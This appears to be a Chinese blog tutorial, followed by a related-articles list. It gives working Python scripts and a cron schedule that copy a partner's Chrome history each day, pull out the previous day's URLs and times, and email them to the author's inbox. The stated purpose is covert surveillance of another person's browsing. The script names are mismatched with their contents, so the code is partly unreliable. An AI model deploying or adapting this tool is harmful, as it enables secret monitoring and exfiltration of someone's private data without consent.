Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python的Django框架中TEMPLATES项的设置教程
May 29 Python
python爬虫入门教程--利用requests构建知乎API(三)
May 25 Python
python获取中文字符串长度的方法
Nov 14 Python
对pycharm 修改程序运行所需内存详解
Dec 03 Python
Linux上使用Python统计每天的键盘输入次数
Apr 17 Python
python实现比较类的两个instance(对象)是否相等的方法分析
Jun 26 Python
更新pip3与pyttsx3文字语音转换的实现方法
Aug 08 Python
PyCharm使用之配置SSH Interpreter的方法步骤
Dec 26 Python
python selenium操作cookie的实现
Mar 18 Python
改变 Python 中线程执行顺序的方法
Sep 24 Python
如何在vscode中安装python库的方法步骤
Jan 06 Python
Python 线程池模块之多线程操作代码
May 20 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
小偷PHP+Html+缓存
2006/11/25 PHP
PHP 伪静态隐藏传递参数名的四种方法
2010/02/22 PHP
解析link_mysql的php版
2013/06/30 PHP
php程序总是提示验证码输入有误解决方案
2015/01/07 PHP
PHP+MYSQL中文乱码问题
2015/07/01 PHP
浅谈PHP定义命令空间的几个注意点(推荐)
2016/10/29 PHP
PHP 网站修改默认访问文件的nginx配置
2017/05/27 PHP
laravel 去掉index.php伪静态的操作方法
2019/10/12 PHP
javascript 带有滚动条的表格,标题固定,带排序功能.
2009/11/13 Javascript
js中巧用cssText属性批量操作样式
2011/03/13 Javascript
JavaScript获取/更改文本框的值的实例代码
2013/08/02 Javascript
DOM节点删除函数removeChild()用法实例
2015/01/12 Javascript
jQuery获取单击节点对象的方法
2016/06/02 Javascript
JS 动态加载js文件和css文件 同步/异步的两种简单方式
2016/09/23 Javascript
BootStrap Fileinput插件和Bootstrap table表格插件相结合实现文件上传、预览、提交的导入Excel数据操作步骤
2017/08/07 Javascript
简单理解Vue中的nextTick方法
2018/01/30 Javascript
[01:31:03]DOTA2完美盛典全回顾 见证十五项大奖花落谁家
2017/11/28 DOTA
python 写入csv乱码问题解决方法
2016/10/23 Python
kafka-python批量发送数据的实例
2018/12/27 Python
Django Sitemap 站点地图的实现方法
2019/04/29 Python
python爬虫解决验证码的思路及示例
2019/08/01 Python
Python print不能立即打印的解决方式
2020/02/19 Python
jupyter notebook清除输出方式
2020/04/10 Python
python实现将中文日期转换为数字日期
2020/07/14 Python
Python 实现PS滤镜中的径向模糊特效
2020/12/03 Python
利用Python实现自动扫雷小脚本
2020/12/17 Python
StubHub意大利:购买和出售全球演唱会和体育赛事门票
2017/11/21 全球购物
King Apparel官网:英国街头服饰品牌
2019/09/05 全球购物
Blank NYC官网:夹克、牛仔裤等
2020/12/16 全球购物
历史学专业个人的自我评价
2013/10/13 职场文书
社会治安综合治理管理责任书
2014/04/16 职场文书
垃圾桶标语
2014/06/24 职场文书
协议书范文
2015/01/27 职场文书
如何给HttpServletRequest增加消息头
2021/06/30 Java/Android
Apache Hudi集成Spark SQL操作hide表
2022/03/31 Servers
Python实现科学占卜 让视频自动打码
2022/04/09 Python